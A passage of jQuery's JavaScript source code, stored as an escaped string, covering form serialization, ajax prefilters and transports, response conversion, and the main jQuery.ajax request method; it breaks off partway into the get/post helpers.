\"\";\n\t}\n\n\t// If an array was passed in, assume that it is an array of form elements.\n\tif ( Array.isArray( a ) || ( a.jquery && !jQuery.isPlainObject( a ) ) ) {\n\n\t\t// Serialize the form elements\n\t\tjQuery.each( a, function() {\n\t\t\tadd( this.name, this.value );\n\t\t} );\n\n\t} else {\n\n\t\t// If traditional, encode the \"old\" way (the way 1.3.2 or older\n\t\t// did it), otherwise encode params recursively.\n\t\tfor ( prefix in a ) {\n\t\t\tbuildParams( prefix, a[ prefix ], traditional, add );\n\t\t}\n\t}\n\n\t// Return the resulting serialization\n\treturn s.join( \"&\" );\n};\n\njQuery.fn.extend( {\n\tserialize: function() {\n\t\treturn jQuery.param( this.serializeArray() );\n\t},\n\tserializeArray: function() {\n\t\treturn this.map( function() {\n\n\t\t\t// Can add propHook for \"elements\" to filter or add form elements\n\t\t\tvar elements = jQuery.prop( this, \"elements\" );\n\t\t\treturn elements ? jQuery.makeArray( elements ) : this;\n\t\t} )\n\t\t.filter( function() {\n\t\t\tvar type = this.type;\n\n\t\t\t// Use .is( \":disabled\" ) so that fieldset[disabled] works\n\t\t\treturn this.name && !jQuery( this ).is( \":disabled\" ) &&\n\t\t\t\trsubmittable.test( this.nodeName ) && !rsubmitterTypes.test( type ) &&\n\t\t\t\t( this.checked || !rcheckableType.test( type ) );\n\t\t} )\n\t\t.map( function( i, elem ) {\n\t\t\tvar val = jQuery( this ).val();\n\n\t\t\tif ( val == null ) {\n\t\t\t\treturn null;\n\t\t\t}\n\n\t\t\tif ( Array.isArray( val ) ) {\n\t\t\t\treturn jQuery.map( val, function( val ) {\n\t\t\t\t\treturn { name: elem.name, value: val.replace( rCRLF, \"\\r\\n\" ) };\n\t\t\t\t} );\n\t\t\t}\n\n\t\t\treturn { name: elem.name, value: val.replace( rCRLF, \"\\r\\n\" ) };\n\t\t} ).get();\n\t}\n} );\n\n\nvar\n\tr20 = /%20/g,\n\trhash = /#.*$/,\n\trantiCache = /([?&])_=[^&]*/,\n\trheaders = /^(.*?):[ \\t]*([^\\r\\n]*)$/mg,\n\n\t// #7653, #8125, #8152: local protocol detection\n\trlocalProtocol = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/,\n\trnoContent = /^(?:GET|HEAD)$/,\n\trprotocol = /^\\/\\//,\n\n\t/* Prefilters\n\t * 1) They are useful to introduce custom dataTypes (see ajax/jsonp.js for an example)\n\t * 2) These are called:\n\t *    - BEFORE asking for a transport\n\t *    - AFTER param serialization (s.data is a string if s.processData is true)\n\t * 3) key is the dataType\n\t * 4) the catchall symbol \"*\" can be used\n\t * 5) execution will start with transport dataType and THEN continue down to \"*\" if needed\n\t */\n\tprefilters = {},\n\n\t/* Transports bindings\n\t * 1) key is the dataType\n\t * 2) the catchall symbol \"*\" can be used\n\t * 3) selection will start with transport dataType and THEN go to \"*\" if needed\n\t */\n\ttransports = {},\n\n\t// Avoid comment-prolog char sequence (#10098); must appease lint and evade compression\n\tallTypes = \"*/\".concat( \"*\" ),\n\n\t// Anchor tag for parsing the document origin\n\toriginAnchor = document.createElement( \"a\" );\n\toriginAnchor.href = location.href;\n\n// Base \"constructor\" for jQuery.ajaxPrefilter and jQuery.ajaxTransport\nfunction addToPrefiltersOrTransports( structure ) {\n\n\t// dataTypeExpression is optional and defaults to \"*\"\n\treturn function( dataTypeExpression, func ) {\n\n\t\tif ( typeof dataTypeExpression !== \"string\" ) {\n\t\t\tfunc = dataTypeExpression;\n\t\t\tdataTypeExpression = \"*\";\n\t\t}\n\n\t\tvar dataType,\n\t\t\ti = 0,\n\t\t\tdataTypes = dataTypeExpression.toLowerCase().match( rnothtmlwhite ) || [];\n\n\t\tif ( isFunction( func ) ) {\n\n\t\t\t// For each dataType in the dataTypeExpression\n\t\t\twhile ( ( dataType = dataTypes[ i++ ] ) ) {\n\n\t\t\t\t// Prepend if requested\n\t\t\t\tif ( dataType[ 0 ] === \"+\" ) {\n\t\t\t\t\tdataType = dataType.slice( 1 ) || \"*\";\n\t\t\t\t\t( structure[ dataType ] = structure[ dataType ] || [] ).unshift( func );\n\n\t\t\t\t// Otherwise append\n\t\t\t\t} else {\n\t\t\t\t\t( structure[ dataType ] = structure[ dataType ] || [] ).push( func );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t};\n}\n\n// Base inspection function for prefilters and transports\nfunction inspectPrefiltersOrTransports( structure, options, originalOptions, jqXHR ) {\n\n\tvar inspected = {},\n\t\tseekingTransport = ( structure === transports );\n\n\tfunction inspect( dataType ) {\n\t\tvar selected;\n\t\tinspected[ dataType ] = true;\n\t\tjQuery.each( structure[ dataType ] || [], function( _, prefilterOrFactory ) {\n\t\t\tvar dataTypeOrTransport = prefilterOrFactory( options, originalOptions, jqXHR );\n\t\t\tif ( typeof dataTypeOrTransport === \"string\" &&\n\t\t\t\t!seekingTransport && !inspected[ dataTypeOrTransport ] ) {\n\n\t\t\t\toptions.dataTypes.unshift( dataTypeOrTransport );\n\t\t\t\tinspect( dataTypeOrTransport );\n\t\t\t\treturn false;\n\t\t\t} else if ( seekingTransport ) {\n\t\t\t\treturn !( selected = dataTypeOrTransport );\n\t\t\t}\n\t\t} );\n\t\treturn selected;\n\t}\n\n\treturn inspect( options.dataTypes[ 0 ] ) || !inspected[ \"*\" ] && inspect( \"*\" );\n}\n\n// A special extend for ajax options\n// that takes \"flat\" options (not to be deep extended)\n// Fixes #9887\nfunction ajaxExtend( target, src ) {\n\tvar key, deep,\n\t\tflatOptions = jQuery.ajaxSettings.flatOptions || {};\n\n\tfor ( key in src ) {\n\t\tif ( src[ key ] !== undefined ) {\n\t\t\t( flatOptions[ key ] ? target : ( deep || ( deep = {} ) ) )[ key ] = src[ key ];\n\t\t}\n\t}\n\tif ( deep ) {\n\t\tjQuery.extend( true, target, deep );\n\t}\n\n\treturn target;\n}\n\n/* Handles responses to an ajax request:\n * - finds the right dataType (mediates between content-type and expected dataType)\n * - returns the corresponding response\n */\nfunction ajaxHandleResponses( s, jqXHR, responses ) {\n\n\tvar ct, type, finalDataType, firstDataType,\n\t\tcontents = s.contents,\n\t\tdataTypes = s.dataTypes;\n\n\t// Remove auto dataType and get content-type in the process\n\twhile ( dataTypes[ 0 ] === \"*\" ) {\n\t\tdataTypes.shift();\n\t\tif ( ct === undefined ) {\n\t\t\tct = s.mimeType || jqXHR.getResponseHeader( \"Content-Type\" );\n\t\t}\n\t}\n\n\t// Check if we're dealing with a known content-type\n\tif ( ct ) {\n\t\tfor ( type in contents ) {\n\t\t\tif ( contents[ type ] && contents[ type ].test( ct ) ) {\n\t\t\t\tdataTypes.unshift( type );\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\n\t// Check to see if we have a response for the expected dataType\n\tif ( dataTypes[ 0 ] in responses ) {\n\t\tfinalDataType = dataTypes[ 0 ];\n\t} else {\n\n\t\t// Try convertible dataTypes\n\t\tfor ( type in responses ) {\n\t\t\tif ( !dataTypes[ 0 ] || s.converters[ type + \" \" + dataTypes[ 0 ] ] ) {\n\t\t\t\tfinalDataType = type;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif ( !firstDataType ) {\n\t\t\t\tfirstDataType = type;\n\t\t\t}\n\t\t}\n\n\t\t// Or just use first one\n\t\tfinalDataType = finalDataType || firstDataType;\n\t}\n\n\t// If we found a dataType\n\t// We add the dataType to the list if needed\n\t// and return the corresponding response\n\tif ( finalDataType ) {\n\t\tif ( finalDataType !== dataTypes[ 0 ] ) {\n\t\t\tdataTypes.unshift( finalDataType );\n\t\t}\n\t\treturn responses[ finalDataType ];\n\t}\n}\n\n/* Chain conversions given the request and the original response\n * Also sets the responseXXX fields on the jqXHR instance\n */\nfunction ajaxConvert( s, response, jqXHR, isSuccess ) {\n\tvar conv2, current, conv, tmp, prev,\n\t\tconverters = {},\n\n\t\t// Work with a copy of dataTypes in case we need to modify it for conversion\n\t\tdataTypes = s.dataTypes.slice();\n\n\t// Create converters map with lowercased keys\n\tif ( dataTypes[ 1 ] ) {\n\t\tfor ( conv in s.converters ) {\n\t\t\tconverters[ conv.toLowerCase() ] = s.converters[ conv ];\n\t\t}\n\t}\n\n\tcurrent = dataTypes.shift();\n\n\t// Convert to each sequential dataType\n\twhile ( current ) {\n\n\t\tif ( s.responseFields[ current ] ) {\n\t\t\tjqXHR[ s.responseFields[ current ] ] = response;\n\t\t}\n\n\t\t// Apply the dataFilter if provided\n\t\tif ( !prev && isSuccess && s.dataFilter ) {\n\t\t\tresponse = s.dataFilter( response, s.dataType );\n\t\t}\n\n\t\tprev = current;\n\t\tcurrent = dataTypes.shift();\n\n\t\tif ( current ) {\n\n\t\t\t// There's only work to do if current dataType is non-auto\n\t\t\tif ( current === \"*\" ) {\n\n\t\t\t\tcurrent = prev;\n\n\t\t\t// Convert response if prev dataType is non-auto and differs from current\n\t\t\t} else if ( prev !== \"*\" && prev !== current ) {\n\n\t\t\t\t// Seek a direct converter\n\t\t\t\tconv = converters[ prev + \" \" + current ] || converters[ \"* \" + current ];\n\n\t\t\t\t// If none found, seek a pair\n\t\t\t\tif ( !conv ) {\n\t\t\t\t\tfor ( conv2 in converters ) {\n\n\t\t\t\t\t\t// If conv2 outputs current\n\t\t\t\t\t\ttmp = conv2.split( \" \" );\n\t\t\t\t\t\tif ( tmp[ 1 ] === current ) {\n\n\t\t\t\t\t\t\t// If prev can be converted to accepted input\n\t\t\t\t\t\t\tconv = converters[ prev + \" \" + tmp[ 0 ] ] ||\n\t\t\t\t\t\t\t\tconverters[ \"* \" + tmp[ 0 ] ];\n\t\t\t\t\t\t\tif ( conv ) {\n\n\t\t\t\t\t\t\t\t// Condense equivalence converters\n\t\t\t\t\t\t\t\tif ( conv === true ) {\n\t\t\t\t\t\t\t\t\tconv = converters[ conv2 ];\n\n\t\t\t\t\t\t\t\t// Otherwise, insert the intermediate dataType\n\t\t\t\t\t\t\t\t} else if ( converters[ conv2 ] !== true ) {\n\t\t\t\t\t\t\t\t\tcurrent = tmp[ 0 ];\n\t\t\t\t\t\t\t\t\tdataTypes.unshift( tmp[ 1 ] );\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Apply converter (if not an equivalence)\n\t\t\t\tif ( conv !== true ) {\n\n\t\t\t\t\t// Unless errors are allowed to bubble, catch and return them\n\t\t\t\t\tif ( conv && s.throws ) {\n\t\t\t\t\t\tresponse = conv( response );\n\t\t\t\t\t} else {\n\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\tresponse = conv( response );\n\t\t\t\t\t\t} catch ( e ) {\n\t\t\t\t\t\t\treturn {\n\t\t\t\t\t\t\t\tstate: \"parsererror\",\n\t\t\t\t\t\t\t\terror: conv ? e : \"No conversion from \" + prev + \" to \" + current\n\t\t\t\t\t\t\t};\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn { state: \"success\", data: response };\n}\n\njQuery.extend( {\n\n\t// Counter for holding the number of active queries\n\tactive: 0,\n\n\t// Last-Modified header cache for next request\n\tlastModified: {},\n\tetag: {},\n\n\tajaxSettings: {\n\t\turl: location.href,\n\t\ttype: \"GET\",\n\t\tisLocal: rlocalProtocol.test( location.protocol ),\n\t\tglobal: true,\n\t\tprocessData: true,\n\t\tasync: true,\n\t\tcontentType: \"application/x-www-form-urlencoded; charset=UTF-8\",\n\n\t\t/*\n\t\ttimeout: 0,\n\t\tdata: null,\n\t\tdataType: null,\n\t\tusername: null,\n\t\tpassword: null,\n\t\tcache: null,\n\t\tthrows: false,\n\t\ttraditional: false,\n\t\theaders: {},\n\t\t*/\n\n\t\taccepts: {\n\t\t\t\"*\": allTypes,\n\t\t\ttext: \"text/plain\",\n\t\t\thtml: \"text/html\",\n\t\t\txml: \"application/xml, text/xml\",\n\t\t\tjson: \"application/json, text/javascript\"\n\t\t},\n\n\t\tcontents: {\n\t\t\txml: /\\bxml\\b/,\n\t\t\thtml: /\\bhtml/,\n\t\t\tjson: /\\bjson\\b/\n\t\t},\n\n\t\tresponseFields: {\n\t\t\txml: \"responseXML\",\n\t\t\ttext: \"responseText\",\n\t\t\tjson: \"responseJSON\"\n\t\t},\n\n\t\t// Data converters\n\t\t// Keys separate source (or catchall \"*\") and destination types with a single space\n\t\tconverters: {\n\n\t\t\t// Convert anything to text\n\t\t\t\"* text\": String,\n\n\t\t\t// Text to html (true = no transformation)\n\t\t\t\"text html\": true,\n\n\t\t\t// Evaluate text as a json expression\n\t\t\t\"text json\": JSON.parse,\n\n\t\t\t// Parse text as xml\n\t\t\t\"text xml\": jQuery.parseXML\n\t\t},\n\n\t\t// For options that shouldn't be deep extended:\n\t\t// you can add your own custom options here if\n\t\t// and when you create one that shouldn't be\n\t\t// deep extended (see ajaxExtend)\n\t\tflatOptions: {\n\t\t\turl: true,\n\t\t\tcontext: true\n\t\t}\n\t},\n\n\t// Creates a full fledged settings object into target\n\t// with both ajaxSettings and settings fields.\n\t// If target is omitted, writes into ajaxSettings.\n\tajaxSetup: function( target, settings ) {\n\t\treturn settings ?\n\n\t\t\t// Building a settings object\n\t\t\tajaxExtend( ajaxExtend( target, jQuery.ajaxSettings ), settings ) :\n\n\t\t\t// Extending ajaxSettings\n\t\t\tajaxExtend( jQuery.ajaxSettings, target );\n\t},\n\n\tajaxPrefilter: addToPrefiltersOrTransports( prefilters ),\n\tajaxTransport: addToPrefiltersOrTransports( transports ),\n\n\t// Main method\n\tajax: function( url, options ) {\n\n\t\t// If url is an object, simulate pre-1.5 signature\n\t\tif ( typeof url === \"object\" ) {\n\t\t\toptions = url;\n\t\t\turl = undefined;\n\t\t}\n\n\t\t// Force options to be an object\n\t\toptions = options || {};\n\n\t\tvar transport,\n\n\t\t\t// URL without anti-cache param\n\t\t\tcacheURL,\n\n\t\t\t// Response headers\n\t\t\tresponseHeadersString,\n\t\t\tresponseHeaders,\n\n\t\t\t// timeout handle\n\t\t\ttimeoutTimer,\n\n\t\t\t// Url cleanup var\n\t\t\turlAnchor,\n\n\t\t\t// Request state (becomes false upon send and true upon completion)\n\t\t\tcompleted,\n\n\t\t\t// To know if global events are to be dispatched\n\t\t\tfireGlobals,\n\n\t\t\t// Loop variable\n\t\t\ti,\n\n\t\t\t// uncached part of the url\n\t\t\tuncached,\n\n\t\t\t// Create the final options object\n\t\t\ts = jQuery.ajaxSetup( {}, options ),\n\n\t\t\t// Callbacks context\n\t\t\tcallbackContext = s.context || s,\n\n\t\t\t// Context for global events is callbackContext if it is a DOM node or jQuery collection\n\t\t\tglobalEventContext = s.context &&\n\t\t\t\t( callbackContext.nodeType || callbackContext.jquery ) ?\n\t\t\t\t\tjQuery( callbackContext ) :\n\t\t\t\t\tjQuery.event,\n\n\t\t\t// Deferreds\n\t\t\tdeferred = jQuery.Deferred(),\n\t\t\tcompleteDeferred = jQuery.Callbacks( \"once memory\" ),\n\n\t\t\t// Status-dependent callbacks\n\t\t\tstatusCode = s.statusCode || {},\n\n\t\t\t// Headers (they are sent all at once)\n\t\t\trequestHeaders = {},\n\t\t\trequestHeadersNames = {},\n\n\t\t\t// Default abort message\n\t\t\tstrAbort = \"canceled\",\n\n\t\t\t// Fake xhr\n\t\t\tjqXHR = {\n\t\t\t\treadyState: 0,\n\n\t\t\t\t// Builds headers hashtable if needed\n\t\t\t\tgetResponseHeader: function( key ) {\n\t\t\t\t\tvar match;\n\t\t\t\t\tif ( completed ) {\n\t\t\t\t\t\tif ( !responseHeaders ) {\n\t\t\t\t\t\t\tresponseHeaders = {};\n\t\t\t\t\t\t\twhile ( ( match = rheaders.exec( responseHeadersString ) ) ) {\n\t\t\t\t\t\t\t\tresponseHeaders[ match[ 1 ].toLowerCase() + \" \" ] =\n\t\t\t\t\t\t\t\t\t( responseHeaders[ match[ 1 ].toLowerCase() + \" \" ] || [] )\n\t\t\t\t\t\t\t\t\t\t.concat( match[ 2 ] );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tmatch = responseHeaders[ key.toLowerCase() + \" \" ];\n\t\t\t\t\t}\n\t\t\t\t\treturn match == null ? null : match.join( \", \" );\n\t\t\t\t},\n\n\t\t\t\t// Raw string\n\t\t\t\tgetAllResponseHeaders: function() {\n\t\t\t\t\treturn completed ? responseHeadersString : null;\n\t\t\t\t},\n\n\t\t\t\t// Caches the header\n\t\t\t\tsetRequestHeader: function( name, value ) {\n\t\t\t\t\tif ( completed == null ) {\n\t\t\t\t\t\tname = requestHeadersNames[ name.toLowerCase() ] =\n\t\t\t\t\t\t\trequestHeadersNames[ name.toLowerCase() ] || name;\n\t\t\t\t\t\trequestHeaders[ name ] = value;\n\t\t\t\t\t}\n\t\t\t\t\treturn this;\n\t\t\t\t},\n\n\t\t\t\t// Overrides response content-type header\n\t\t\t\toverrideMimeType: function( type ) {\n\t\t\t\t\tif ( completed == null ) {\n\t\t\t\t\t\ts.mimeType = type;\n\t\t\t\t\t}\n\t\t\t\t\treturn this;\n\t\t\t\t},\n\n\t\t\t\t// Status-dependent callbacks\n\t\t\t\tstatusCode: function( map ) {\n\t\t\t\t\tvar code;\n\t\t\t\t\tif ( map ) {\n\t\t\t\t\t\tif ( completed ) {\n\n\t\t\t\t\t\t\t// Execute the appropriate callbacks\n\t\t\t\t\t\t\tjqXHR.always( map[ jqXHR.status ] );\n\t\t\t\t\t\t} else {\n\n\t\t\t\t\t\t\t// Lazy-add the new callbacks in a way that preserves old ones\n\t\t\t\t\t\t\tfor ( code in map ) {\n\t\t\t\t\t\t\t\tstatusCode[ code ] = [ statusCode[ code ], map[ code ] ];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\treturn this;\n\t\t\t\t},\n\n\t\t\t\t// Cancel the request\n\t\t\t\tabort: function( statusText ) {\n\t\t\t\t\tvar finalText = statusText || strAbort;\n\t\t\t\t\tif ( transport ) {\n\t\t\t\t\t\ttransport.abort( finalText );\n\t\t\t\t\t}\n\t\t\t\t\tdone( 0, finalText );\n\t\t\t\t\treturn this;\n\t\t\t\t}\n\t\t\t};\n\n\t\t// Attach deferreds\n\t\tdeferred.promise( jqXHR );\n\n\t\t// Add protocol if not provided (prefilters might expect it)\n\t\t// Handle falsy url in the settings object (#10093: consistency with old signature)\n\t\t// We also use the url parameter if available\n\t\ts.url = ( ( url || s.url || location.href ) + \"\" )\n\t\t\t.replace( rprotocol, location.protocol + \"//\" );\n\n\t\t// Alias method option to type as per ticket #12004\n\t\ts.type = options.method || options.type || s.method || s.type;\n\n\t\t// Extract dataTypes list\n\t\ts.dataTypes = ( s.dataType || \"*\" ).toLowerCase().match( rnothtmlwhite ) || [ \"\" ];\n\n\t\t// A cross-domain request is in order when the origin doesn't match the current origin.\n\t\tif ( s.crossDomain == null ) {\n\t\t\turlAnchor = document.createElement( \"a\" );\n\n\t\t\t// Support: IE <=8 - 11, Edge 12 - 15\n\t\t\t// IE throws exception on accessing the href property if url is malformed,\n\t\t\t// e.g. http://example.com:80x/\n\t\t\ttry {\n\t\t\t\turlAnchor.href = s.url;\n\n\t\t\t\t// Support: IE <=8 - 11 only\n\t\t\t\t// Anchor's host property isn't correctly set when s.url is relative\n\t\t\t\turlAnchor.href = urlAnchor.href;\n\t\t\t\ts.crossDomain = originAnchor.protocol + \"//\" + originAnchor.host !==\n\t\t\t\t\turlAnchor.protocol + \"//\" + urlAnchor.host;\n\t\t\t} catch ( e ) {\n\n\t\t\t\t// If there is an error parsing the URL, assume it is crossDomain,\n\t\t\t\t// it can be rejected by the transport if it is invalid\n\t\t\t\ts.crossDomain = true;\n\t\t\t}\n\t\t}\n\n\t\t// Convert data if not already a string\n\t\tif ( s.data && s.processData && typeof s.data !== \"string\" ) {\n\t\t\ts.data = jQuery.param( s.data, s.traditional );\n\t\t}\n\n\t\t// Apply prefilters\n\t\tinspectPrefiltersOrTransports( prefilters, s, options, jqXHR );\n\n\t\t// If request was aborted inside a prefilter, stop there\n\t\tif ( completed ) {\n\t\t\treturn jqXHR;\n\t\t}\n\n\t\t// We can fire global events as of now if asked to\n\t\t// Don't fire events if jQuery.event is undefined in an AMD-usage scenario (#15118)\n\t\tfireGlobals = jQuery.event && s.global;\n\n\t\t// Watch for a new set of requests\n\t\tif ( fireGlobals && jQuery.active++ === 0 ) {\n\t\t\tjQuery.event.trigger( \"ajaxStart\" );\n\t\t}\n\n\t\t// Uppercase the type\n\t\ts.type = s.type.toUpperCase();\n\n\t\t// Determine if request has content\n\t\ts.hasContent = !rnoContent.test( s.type );\n\n\t\t// Save the URL in case we're toying with the If-Modified-Since\n\t\t// and/or If-None-Match header later on\n\t\t// Remove hash to simplify url manipulation\n\t\tcacheURL = s.url.replace( rhash, \"\" );\n\n\t\t// More options handling for requests with no content\n\t\tif ( !s.hasContent ) {\n\n\t\t\t// Remember the hash so we can put it back\n\t\t\tuncached = s.url.slice( cacheURL.length );\n\n\t\t\t// If data is available and should be processed, append data to url\n\t\t\tif ( s.data && ( s.processData || typeof s.data === \"string\" ) ) {\n\t\t\t\tcacheURL += ( rquery.test( cacheURL ) ? \"&\" : \"?\" ) + s.data;\n\n\t\t\t\t// #9682: remove data so that it's not used in an eventual retry\n\t\t\t\tdelete s.data;\n\t\t\t}\n\n\t\t\t// Add or update anti-cache param if needed\n\t\t\tif ( s.cache === false ) {\n\t\t\t\tcacheURL = cacheURL.replace( rantiCache, \"$1\" );\n\t\t\t\tuncached = ( rquery.test( cacheURL ) ? \"&\" : \"?\" ) + \"_=\" + ( nonce++ ) + uncached;\n\t\t\t}\n\n\t\t\t// Put hash and anti-cache on the URL that will be requested (gh-1732)\n\t\t\ts.url = cacheURL + uncached;\n\n\t\t// Change '%20' to '+' if this is encoded form body content (gh-2658)\n\t\t} else if ( s.data && s.processData &&\n\t\t\t( s.contentType || \"\" ).indexOf( \"application/x-www-form-urlencoded\" ) === 0 ) {\n\t\t\ts.data = s.data.replace( r20, \"+\" );\n\t\t}\n\n\t\t// Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.\n\t\tif ( s.ifModified ) {\n\t\t\tif ( jQuery.lastModified[ cacheURL ] ) {\n\t\t\t\tjqXHR.setRequestHeader( \"If-Modified-Since\", jQuery.lastModified[ cacheURL ] );\n\t\t\t}\n\t\t\tif ( jQuery.etag[ cacheURL ] ) {\n\t\t\t\tjqXHR.setRequestHeader( \"If-None-Match\", jQuery.etag[ cacheURL ] );\n\t\t\t}\n\t\t}\n\n\t\t// Set the correct header, if data is being sent\n\t\tif ( s.data && s.hasContent && s.contentType !== false || options.contentType ) {\n\t\t\tjqXHR.setRequestHeader( \"Content-Type\", s.contentType );\n\t\t}\n\n\t\t// Set the Accepts header for the server, depending on the dataType\n\t\tjqXHR.setRequestHeader(\n\t\t\t\"Accept\",\n\t\t\ts.dataTypes[ 0 ] && s.accepts[ s.dataTypes[ 0 ] ] ?\n\t\t\t\ts.accepts[ s.dataTypes[ 0 ] ] +\n\t\t\t\t\t( s.dataTypes[ 0 ] !== \"*\" ? \", \" + allTypes + \"; q=0.01\" : \"\" ) :\n\t\t\t\ts.accepts[ \"*\" ]\n\t\t);\n\n\t\t// Check for headers option\n\t\tfor ( i in s.headers ) {\n\t\t\tjqXHR.setRequestHeader( i, s.headers[ i ] );\n\t\t}\n\n\t\t// Allow custom headers/mimetypes and early abort\n\t\tif ( s.beforeSend &&\n\t\t\t( s.beforeSend.call( callbackContext, jqXHR, s ) === false || completed ) ) {\n\n\t\t\t// Abort if not done already and return\n\t\t\treturn jqXHR.abort();\n\t\t}\n\n\t\t// Aborting is no longer a cancellation\n\t\tstrAbort = \"abort\";\n\n\t\t// Install callbacks on deferreds\n\t\tcompleteDeferred.add( s.complete );\n\t\tjqXHR.done( s.success );\n\t\tjqXHR.fail( s.error );\n\n\t\t// Get transport\n\t\ttransport = inspectPrefiltersOrTransports( transports, s, options, jqXHR );\n\n\t\t// If no transport, we auto-abort\n\t\tif ( !transport ) {\n\t\t\tdone( -1, \"No Transport\" );\n\t\t} else {\n\t\t\tjqXHR.readyState = 1;\n\n\t\t\t// Send global event\n\t\t\tif ( fireGlobals ) {\n\t\t\t\tglobalEventContext.trigger( \"ajaxSend\", [ jqXHR, s ] );\n\t\t\t}\n\n\t\t\t// If request was aborted inside ajaxSend, stop there\n\t\t\tif ( completed ) {\n\t\t\t\treturn jqXHR;\n\t\t\t}\n\n\t\t\t// Timeout\n\t\t\tif ( s.async && s.timeout > 0 ) {\n\t\t\t\ttimeoutTimer = window.setTimeout( function() {\n\t\t\t\t\tjqXHR.abort( \"timeout\" );\n\t\t\t\t}, s.timeout );\n\t\t\t}\n\n\t\t\ttry {\n\t\t\t\tcompleted = false;\n\t\t\t\ttransport.send( requestHeaders, done );\n\t\t\t} catch ( e ) {\n\n\t\t\t\t// Rethrow post-completion exceptions\n\t\t\t\tif ( completed ) {\n\t\t\t\t\tthrow e;\n\t\t\t\t}\n\n\t\t\t\t// Propagate others as results\n\t\t\t\tdone( -1, e );\n\t\t\t}\n\t\t}\n\n\t\t// Callback for when everything is done\n\t\tfunction done( status, nativeStatusText, responses, headers ) {\n\t\t\tvar isSuccess, success, error, response, modified,\n\t\t\t\tstatusText = nativeStatusText;\n\n\t\t\t// Ignore repeat invocations\n\t\t\tif ( completed ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tcompleted = true;\n\n\t\t\t// Clear timeout if it exists\n\t\t\tif ( timeoutTimer ) {\n\t\t\t\twindow.clearTimeout( timeoutTimer );\n\t\t\t}\n\n\t\t\t// Dereference transport for early garbage collection\n\t\t\t// (no matter how long the jqXHR object will be used)\n\t\t\ttransport = undefined;\n\n\t\t\t// Cache response headers\n\t\t\tresponseHeadersString = headers || \"\";\n\n\t\t\t// Set readyState\n\t\t\tjqXHR.readyState = status > 0 ? 4 : 0;\n\n\t\t\t// Determine if successful\n\t\t\tisSuccess = status >= 200 && status < 300 || status === 304;\n\n\t\t\t// Get response data\n\t\t\tif ( responses ) {\n\t\t\t\tresponse = ajaxHandleResponses( s, jqXHR, responses );\n\t\t\t}\n\n\t\t\t// Convert no matter what (that way responseXXX fields are always set)\n\t\t\tresponse = ajaxConvert( s, response, jqXHR, isSuccess );\n\n\t\t\t// If successful, handle type chaining\n\t\t\tif ( isSuccess ) {\n\n\t\t\t\t// Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.\n\t\t\t\tif ( s.ifModified ) {\n\t\t\t\t\tmodified = jqXHR.getResponseHeader( \"Last-Modified\" );\n\t\t\t\t\tif ( modified ) {\n\t\t\t\t\t\tjQuery.lastModified[ cacheURL ] = modified;\n\t\t\t\t\t}\n\t\t\t\t\tmodified = jqXHR.getResponseHeader( \"etag\" );\n\t\t\t\t\tif ( modified ) {\n\t\t\t\t\t\tjQuery.etag[ cacheURL ] = modified;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// if no content\n\t\t\t\tif ( status === 204 || s.type === \"HEAD\" ) {\n\t\t\t\t\tstatusText = \"nocontent\";\n\n\t\t\t\t// if not modified\n\t\t\t\t} else if ( status === 304 ) {\n\t\t\t\t\tstatusText = \"notmodified\";\n\n\t\t\t\t// If we have data, let's convert it\n\t\t\t\t} else {\n\t\t\t\t\tstatusText = response.state;\n\t\t\t\t\tsuccess = response.data;\n\t\t\t\t\terror = response.error;\n\t\t\t\t\tisSuccess = !error;\n\t\t\t\t}\n\t\t\t} else {\n\n\t\t\t\t// Extract error from statusText and normalize for non-aborts\n\t\t\t\terror = statusText;\n\t\t\t\tif ( status || !statusText ) {\n\t\t\t\t\tstatusText = \"error\";\n\t\t\t\t\tif ( status < 0 ) {\n\t\t\t\t\t\tstatus = 0;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Set data for the fake xhr object\n\t\t\tjqXHR.status = status;\n\t\t\tjqXHR.statusText = ( nativeStatusText || statusText ) + \"\";\n\n\t\t\t// Success/Error\n\t\t\tif ( isSuccess ) {\n\t\t\t\tdeferred.resolveWith( callbackContext, [ success, statusText, jqXHR ] );\n\t\t\t} else {\n\t\t\t\tdeferred.rejectWith( callbackContext, [ jqXHR, statusText, error ] );\n\t\t\t}\n\n\t\t\t// Status-dependent callbacks\n\t\t\tjqXHR.statusCode( statusCode );\n\t\t\tstatusCode = undefined;\n\n\t\t\tif ( fireGlobals ) {\n\t\t\t\tglobalEventContext.trigger( isSuccess ? \"ajaxSuccess\" : \"ajaxError\",\n\t\t\t\t\t[ jqXHR, s, isSuccess ? success : error ] );\n\t\t\t}\n\n\t\t\t// Complete\n\t\t\tcompleteDeferred.fireWith( callbackContext, [ jqXHR, statusText ] );\n\n\t\t\tif ( fireGlobals ) {\n\t\t\t\tglobalEventContext.trigger( \"ajaxComplete\", [ jqXHR, s ] );\n\n\t\t\t\t// Handle the global AJAX counter\n\t\t\t\tif ( !( --jQuery.active ) ) {\n\t\t\t\t\tjQuery.event.trigger( \"ajaxStop\" );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn jqXHR;\n\t},\n\n\tgetJSON: function( url, data, callback ) {\n\t\treturn jQuery.get( url, data, callback, \"json\" );\n\t},\n\n\tgetScript: function( url, callback ) {\n\t\treturn jQuery.get( url, undefined, callback, \"script\" );\n\t}\n} );\n\njQuery.each( [ \"get\", \"post\" ], function( i, method ) {\n\tjQuery[ method ] = function( url, data, callback, type ) {\n\n\t\t// Shift arguments if data argument was omitted\n\t\tif ( isFunction( data ) ) {\n\t\t\ttype = type || callback;\n\t\t\tcallback = data;\n\t\t\tdata = 